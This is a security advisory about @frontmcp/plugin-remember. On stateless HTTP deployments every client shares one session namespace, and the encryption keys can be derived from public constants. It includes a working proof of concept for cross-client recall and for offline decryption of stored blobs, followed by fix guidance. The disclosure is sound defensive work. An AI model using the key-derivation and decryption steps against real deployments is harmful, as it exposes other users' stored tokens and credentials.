# GHSA-225P-F8JH-F3RH: Stateless HTTP sessions share encrypted Remember memory across clients in @frontmcp/plugin-remember

- Database: GitHub
- Severity: CVSS 8.3 (High)
- Published: 2026-09-26
- Modified: 2026-09-26

## Affected versions

- @frontmcp/plugin-remember (npm): from 0.7.0, through 1.7.2

## Description

### Summary

`@frontmcp/plugin-remember` does not isolate session-scoped memories between clients when used with FrontMCP's stateless HTTP transport.

The stateless transport assigns every request the same session identifier:

```text
__stateless__
```

The Remember plugin uses the session identifier directly when constructing storage keys for the `session` scope:

```text
remember:session:{sessionId}:{key}
```

As a result, every client of a stateless deployment uses the same storage namespace:

```text
remember:session:__stateless__:*
```

One client can therefore enumerate, read, overwrite, or delete another client's session-scoped memories through the plugin's normal tools.

The encryption layer has an independent related weakness. Session-scoped encryption keys are derived using HKDF-SHA256 with the session identifier as the input keying material.

For a stateless deployment, the key therefore derives from the public constant:

```text
__stateless__
```

together with other fixed values.

This makes the AES-256-GCM key for stateless session memories predictable without access to any server secret.

The issue was reproduced against released `@frontmcp/plugin-remember@1.7.2`: client B successfully enumerated and recalled a secret written by client A, and the stored encrypted blob was independently decrypted using only public constants.

A control using genuinely distinct session IDs remained isolated.

### Details

FrontMCP's stateless HTTP transport assigns the same identifier to every request:

```ts
request.headers[
    'mcp-session-id'
] = '__stateless__';
```

The value then reaches the FrontMCP context as the session identifier.

The Remember accessor uses that value when constructing keys for session-scoped data.

Conceptually:

```ts
const key =
    `${keyPrefix}` +
    `session:` +
    `${ctx.sessionId}:` +
    `${memoryKey}`;
```

With an ordinary stateful session this produces independent namespaces such as:

```text
remember:session:a2f1c9de...:token
remember:session:9918e83b...:token
```

On stateless HTTP every client instead receives:

```text
remember:session:__stateless__:token
```

The resulting flow is:

```text
client A
  -> sessionId = "__stateless__"
  -> remember_this("api_token")
  -> remember:session:__stateless__:api_token

client B
  -> sessionId = "__stateless__"
  -> list_memories(scope="session")
  -> sees "api_token"

client B
  -> recall("api_token")
  -> receives client A's value
```

The plugin's client-accessible memory tools include operations equivalent to:

```text
remember_this
recall
list_memories
forget
```

so the shared namespace affects confidentiality, integrity, and availability of stored session data.

The encryption layer derives a separate key for each scope.

For the session scope, the relevant inputs are equivalent to:

```ts
ikm =
    source.sessionId;

salt =
    'remember-plugin-v1';

info =
    `remember:session:${source.sessionId}`;
```

followed by:

```text
HKDF-SHA256(..., 32 bytes)
```

On the stateless transport all three relevant values become predictable:

```text
IKM  = "__stateless__"
salt = "remember-plugin-v1"
info = "remember:session:__stateless__"
```

No deployment-specific secret participates in the session-scope key derivation.

Therefore an attacker who obtains an encrypted session memory blob does not need any secret from the FrontMCP deployment to derive the AES key.

This is independent of the live cross-client access issue: fixing the storage namespace alone would not restore encryption-at-rest confidentiality for data already encrypted using a public session identifier.

The defect is backend-independent because the same accessor and key derivation are used regardless of whether storage is memory-backed, Redis-backed, or another supported backend.

### PoC

Use the released `@frontmcp/plugin-remember@1.7.2` package with encryption enabled.

Create a shared store and two accessors representing two independent clients on the stateless HTTP transport:

```js
const {
    RememberAccessor,
    RememberMemoryProvider
} = require(
    '@frontmcp/plugin-remember'
);

const STATELESS =
    '__stateless__';

const config = {
    type:
        'memory',

    keyPrefix:
        'remember:',

    encryption: {
        enabled:
            true
    }
};

const store =
    new RememberMemoryProvider();

const accessorA =
    new RememberAccessor(
        store,
        {
            sessionId:
                STATELESS,

            authInfo: {
                clientId:
                    'client-a',

                extra:
                    {}
            }
        },
        config
    );

const accessorB =
    new RememberAccessor(
        store,
        {
            sessionId:
                STATELESS,

            authInfo: {
                clientId:
                    'client-b',

                extra:
                    {}
            }
        },
        config
    );
```

Client A stores a session-scoped secret:

```text
key:
user_api_token

value:
{
  "token":
    "sk-live-9f8e7d6c-SECRET",
  "note":
    "my deploy key"
}
```

through the normal Remember operation.

Client B then enumerates session memory.

Observed:

```text
["user_api_token"]
```

Client B recalls the same key.

Observed:

```json
{
  "found": true,
  "value": {
    "token": "sk-live-9f8e7d6c-SECRET",
    "note": "my deploy key"
  }
}
```

The cross-client disclosure is therefore:

```text
client A writes
    remember:session:__stateless__:user_api_token

client B reads
    remember:session:__stateless__:user_api_token
```

The encrypted blob in storage has the form:

```json
{
  "alg":
    "AES-256-GCM",
  "iv":
    "...",
  "tag":
    "...",
  "data":
    "..."
}
```

The encryption key can be reproduced independently using only public constants:

```js
const {
    hkdfSha256,
    decryptAesGcm,
    base64urlDecode
} = require(
    '@frontmcp/utils'
);

const enc =
    new TextEncoder();

const key =
    hkdfSha256(
        enc.encode(
            '__stateless__'
        ),

        enc.encode(
            'remember-plugin-v1'
        ),

        enc.encode(
            'remember:session:__stateless__'
        ),

        32
    );
```

Using that key to decrypt the stored blob produces:

```json
{
  "token":
    "sk-live-9f8e7d6c-SECRET",
  "note":
    "my deploy key"
}
```

No deployment secret is required.

As a control, create another accessor with a genuinely distinct stateful session identifier:

```text
a2f1c9de-1111-2222-3333-111111111111
```

and attempt to recall:

```text
user_api_token
```

Observed:

```text
found: false
```

The reproduced results were:

```text
CLIENT A
remember_this(scope=session)
-> success

CLIENT B
list_memories(scope=session)
-> ["user_api_token"]

CLIENT B
recall("user_api_token")
-> CLIENT A'S SECRET

OFFLINE
derive key from public constants
-> decrypt succeeds

CONTROL
different real session ID
-> secret not found
```

This isolates the cross-client issue to the shared stateless session identifier and demonstrates the separate predictable-key weakness.

### Suggested fix

Session-scoped memory must not use FrontMCP's shared stateless identifier as an isolation boundary.

When:

```text
sessionId == "__stateless__"
```

the plugin should either reject use of the `session` scope or obtain a genuine client-specific identity from a trusted server-side source.

For example:

```diff
 constructor(
     store,
     ctx,
     config
 ) {
     ...

+    if (
+        ctx.sessionId ===
+        '__stateless__'
+    ) {
+        this.statelessSession =
+            true;
+    }
 }
```

and reject session operations:

```ts
if (
    scope === 'session' &&
    this.statelessSession
) {
    throw new Error(
        'Session-scoped memory is unavailable on stateless transports without a client-specific session identity.'
    );
}
```

If session-style persistence is required on stateless HTTP, the server should create an unpredictable per-client identifier that is authenticated or otherwise bound to that client. It must not use one global constant.

The encryption key derivation must also include a server-held secret.

For example:

```diff
 case 'session': {
-    ikm =
-        textEncoder.encode(
-            source.sessionId
-        );
+    const baseSecret =
+        await getBaseSecret();
+
+    ikm =
+        textEncoder.encode(
+            `${baseSecret}:session:${source.sessionId}`
+        );

     context =
         `remember:session:${source.sessionId}`;

     break;
 }
```

This ensures that possession of the storage blob and knowledge of a session identifier are insufficient to decrypt the value.

Existing data encrypted under the predictable stateless key should be considered exposed if an attacker may have obtained the store and should be rotated or removed after the fix.

Regression tests should include:

```text
stateless client A writes session memory
stateless client B
    -> must not read/list/delete A's memory

stateful session A/B
    -> remain isolated

encrypted session blob
    -> cannot decrypt without server secret

"__stateless__" session
    -> rejected or securely re-scoped
```

The user scope should also avoid collapsing unauthenticated users into a single shared identity such as `"anonymous"` when that scope is expected to provide per-user isolation.

### Impact

On stateless HTTP deployments using the Remember plugin, session-scoped memory is shared between otherwise independent clients.

A second client can use normal Remember operations to enumerate and retrieve another client's session memories and can potentially overwrite or delete entries in the same namespace.

Session memory may contain sensitive information intentionally retained for later tool calls, including API tokens, credentials, deployment identifiers, private notes, or other user-specific state.

In addition, the encryption-at-rest key for this shared session scope is derivable from public constants. Anyone who obtains the encrypted storage data can derive the corresponding AES-256-GCM key without knowing any server-side secret and decrypt affected entries offline.

The demonstrated issue therefore breaks both client-to-client isolation and the confidentiality property expected from encrypted session-scoped storage.

## References

- https://github.com/agentfront/frontmcp/security/advisories/GHSA-225p-f8jh-f3rh

Page: https://cve.now/GHSA-225P-F8JH-F3RH

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
